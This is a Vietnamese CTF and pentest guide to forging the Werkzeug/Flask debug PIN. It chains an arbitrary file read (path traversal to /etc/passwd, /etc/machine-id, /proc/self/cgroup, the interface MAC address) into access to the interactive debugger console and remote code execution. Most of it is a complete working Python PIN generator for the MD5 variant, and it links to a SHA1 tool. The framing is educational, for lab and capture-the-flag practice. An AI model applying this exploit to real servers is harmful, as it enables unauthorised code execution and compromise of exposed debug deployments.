Flask / Werkzeug Debug PIN – Full Theory & Exploitation Guide

1. Tổng quan bài toán

Dạng bài này xuất hiện rất thường xuyên trong CTF Web / Pentest lab khi:

  • Server chạy Flask ở chế độ debug
  • Debugger của Werkzeug được bật
  • Truy cập debugger yêu cầu PIN
  • Ứng dụng tồn tại primitive đọc file tùy ý (LFI, path traversal, SSRF → file)

Mục tiêu cuối cùng:

Tính toán chính xác Werkzeug Debug PIN để truy cập interactive console → RCE


2. Điều kiện tiên quyết (Prerequisites)

Bài bắt buộc phải có ít nhất một trong các primitive sau:

  • LFI: ../../../../etc/passwd
  • Read arbitrary file
  • SSRF đọc được file://
  • Debug endpoint leak source code

Nếu không đọc được file hệ thống, bài này không giải được.


3. Workflow tổng quát

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[ Read file primitive ]
|
v
[ Xác định Werkzeug version ]
|
v
[ Xác định hash algorithm (MD5 / SHA1) ]
|
v
[ Thu thập public bits ]
|
v
[ Thu thập private bits ]
|
v
[ Generate PIN offline ]
|
v
[ Truy cập /console hoặc debugger ]

4. Bước 1 – Xác định Werkzeug dùng MD5 hay SHA1

4.1 File cần đọc

1
/<python-site-packages>/werkzeug/__init__.py

Hoặc:

1
2
/usr/local/lib/pythonX.Y/site-packages/werkzeug/debug/__init__.py
/home/<username>/.local/lib/pythonX.Y/site-packages/werkzeug/debug/__init__.py

4.2 Cách nhận biết

Dấu hiệu Kết luận
hashlib.md5() Werkzeug cũ → MD5
hashlib.sha1() Werkzeug ≥ 2.x → SHA1

Flask cũ / CTF cổ điển thường dùng MD5


5. Bước 2 – Lý thuyết Werkzeug Debug PIN

5.1 Công thức tổng quát

Werkzeug sinh PIN từ 2 nhóm dữ liệu:

Public bits (có thể đoán / đọc được)

  • username
  • modname
  • appname
  • path tới file Flask

Private bits (bắt buộc phải leak)

  • MAC address (uuid.getnode())
  • Machine ID (/etc/machine-id)
  • Cgroup suffix (/proc/self/cgroup)

6. Bước 3 – Thu thập dữ liệu cần thiết

6.1 Public bits

Giá trị Cách lấy
username /etc/passwd, user chạy web (www-data, flask, root)
modname thường là flask.app
appname Flask, wsgi_app, DebuggedApplication
flask path stacktrace (làm chương trình bị exception) hoặc đoán (thường nằm ở /home/<username>/.local/lib/pythonX.Y/site-packages/flask/app.py)

6.2 Private bits (quan trọng)

MAC address

Đọc từ:

1
/sys/class/net/eth0/address (thông thường là cái này)

Có thể brute các interface phổ biến:

1
eth0, ens33, docker0, lo

Hoặc đọc file /proc/net/arp để xác định device:

1
2
IP address       HW type     Flags       HW address            Mask     Device
172.17.0.1 0x1 0x2 02:42:a0:22:d7:29 * eth0

Werkzeug dùng:

1
uuid.getnode() → integer

Machine ID

1
/etc/machine-id

Fallback:

1
/proc/sys/kernel/random/boot_id

Cgroup

1
/proc/self/cgroup

Ví dụ:

1
0::/init.scope

Werkzeug chỉ lấy phần sau dấu /

1
init.scope

7. Cách Werkzeug xử lý machine-id + cgroup

Pseudo-code:

1
2
linux = machine_id
linux += cgroup.rpartition("/")[2]

Ví dụ:

1
2
3
4
machine-id = abc123
cgroup = 0::/init.scope

=> real_machine_id = abc123init.scope

8. Tool sinh PIN – MD5 version

File: gen-md5-pin.py

👉 Dùng khi Werkzeug sử dụng hashlib.md5

  • Chuẩn hóa MAC (string → integer)
  • Ghép machine-id + cgroup
  • Hash theo đúng thứ tự Werkzeug
  • Format PIN giống hệt thật
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/env python3
import argparse
import hashlib
from itertools import chain


def normalize_mac(mac: str) -> str:
"""
Werkzeug uses uuid.getnode() which returns an integer.
Accept:
- integer (uuid.getnode output)
- aa:bb:cc:dd:ee:ff
- aa-bb-cc-dd-ee-ff
Return:
- stringified integer (Werkzeug-compatible)
"""
mac = mac.strip().lower()

# already integer
if mac.isdigit():
return mac

# MAC address
if ":" in mac or "-" in mac:
for sep in (":", "-"):
mac = mac.replace(sep, "")
if len(mac) != 12:
raise ValueError("Invalid MAC address format")
return str(int(mac, 16))

raise ValueError("Invalid MAC format")


def build_machine_id(machine_id: str, cgroup: str) -> bytes:
"""
Mimic Werkzeug get_machine_id():
linux = machine-id or boot-id + last part of cgroup
"""
mid = machine_id.encode("utf-8")

if cgroup:
# Werkzeug: linux += f.readline().strip().rpartition(b"/")[2]
cg = cgroup.strip().encode("utf-8")
cg = cg.rpartition(b"/")[2]
mid += cg

return mid


def generate_pin(
username: str,
modname: str,
appname: str,
flask_path: str,
mac: str,
machine_id: str,
cgroup: str,
) -> str:
probably_public_bits = [
username,
modname,
appname,
flask_path,
]

mac = normalize_mac(mac)
real_machine_id = build_machine_id(machine_id, cgroup)

private_bits = [
mac,
real_machine_id,
]

h = hashlib.md5()

for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)

# Werkzeug constants (MD5 version)
h.update(b"cookiesalt")
h.update(b"pinsalt")

num = ("%09d" % int(h.hexdigest(), 16))[:9]

# Format PIN exactly like Werkzeug
for group_size in (5, 4, 3):
if len(num) % group_size == 0:
return "-".join(
num[x:x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)

return num


def main():
parser = argparse.ArgumentParser(
description="Generate Werkzeug Debug PIN (MD5 – Flask/Werkzeug)"
)

parser.add_argument("--username", required=True, help="OS username")
parser.add_argument("--modname", required=True, help="Module name (flask.app)")
parser.add_argument("--appname", required=True, help="App name (Flask / wsgi_app)")
parser.add_argument("--path", required=True, help="Path to flask/app.py")
parser.add_argument(
"--mac",
required=True,
help="MAC address (uuid.getnode int OR aa:bb:cc:dd:ee:ff)",
)
parser.add_argument(
"--machine-id",
required=True,
help="Content of /etc/machine-id OR boot_id",
)
parser.add_argument(
"--cgroup",
default="",
help="Line from /proc/self/cgroup (optional)",
)

args = parser.parse_args()

pin = generate_pin(
args.username,
args.modname,
args.appname,
args.path,
args.mac,
args.machine_id,
args.cgroup,
)

print("[+] Werkzeug PIN:", pin)


if __name__ == "__main__":
main()

9. Tool sinh PIN – SHA1 version

File: gen-sha1-pin.py

👉 Dùng khi Werkzeug dùng hashlib.sha1

Tool này:

  • Có brute modname / appname
  • Generate cookie debugger
  • Dùng cho CTF nâng cao

Link tool: https://github.com/SidneyJob/Werkzeuger/blob/main/gen.py


10. Checklist giải bài nhanh

  • Có primitive đọc file
  • Xác định MD5 hay SHA1
  • Đọc /etc/machine-id
  • Đọc /proc/self/cgroup
  • Lấy MAC address
  • Xác định flask path
  • Generate PIN offline
  • Truy cập debugger → RCE

11. Lưu ý thực tế CTF

  • Docker luôn có cgroup
  • Sai 1 byte → PIN sai
  • MAC phải convert đúng integer
  • Sai appname/modname → brute

12. Tổng kết

Werkzeug Debug PIN KHÔNG phải random

Nó là:

  • Deterministic
  • Phụ thuộc hệ thống
  • Có thể tính offline nếu leak đủ thông tin

👉 Đây là design flaw có chủ đích, phục vụ debug, nhưng trở thành critical vuln trong CTF.

Lab luyện tập:


Happy hacking.

Ngoài lề: Vì hơi lười nên mình prompt bài viết này (thật ra là AI viết hay hơn mình) :>